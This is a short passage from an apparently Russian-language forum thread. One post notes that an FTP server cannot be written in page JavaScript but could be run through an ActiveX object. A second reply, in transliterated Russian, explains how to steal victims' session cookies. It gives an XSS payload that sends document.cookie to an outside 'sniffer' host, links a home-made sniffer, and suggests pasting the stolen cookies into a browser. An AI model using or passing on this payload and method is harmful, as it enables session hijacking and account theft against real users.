FTP сервер написать прямо на странице методами JS нельзя.
Но например при помощи JS можно подгрузить актив икс объект, который может выполнять функции FTP сервера.
Конечно же пользователь должен разрешить выполнение этого актив икс объекта

vobshem,esli ty ugonyaesh kuki,to ispolzui:
1)javascript
//cherez nego posylaesh po location.href + cookie zhertvu i vse: primer:
"><script>location.href="http://sniffer.com"+escape(document.cookie)</script>
2)sniffer
vot moi poprobui,sam kodil (cookie v parametre "cookie",redirekt [kuda zhertva potom poidet] v parametre "to",zashifrovannom base64 [shifrator tozhe prilagaetsa]:
http://www.securitylab.ru/forum/forum20/topic47938/messages/
3)operu
chtoby vstavit nagrablennoe
udachi.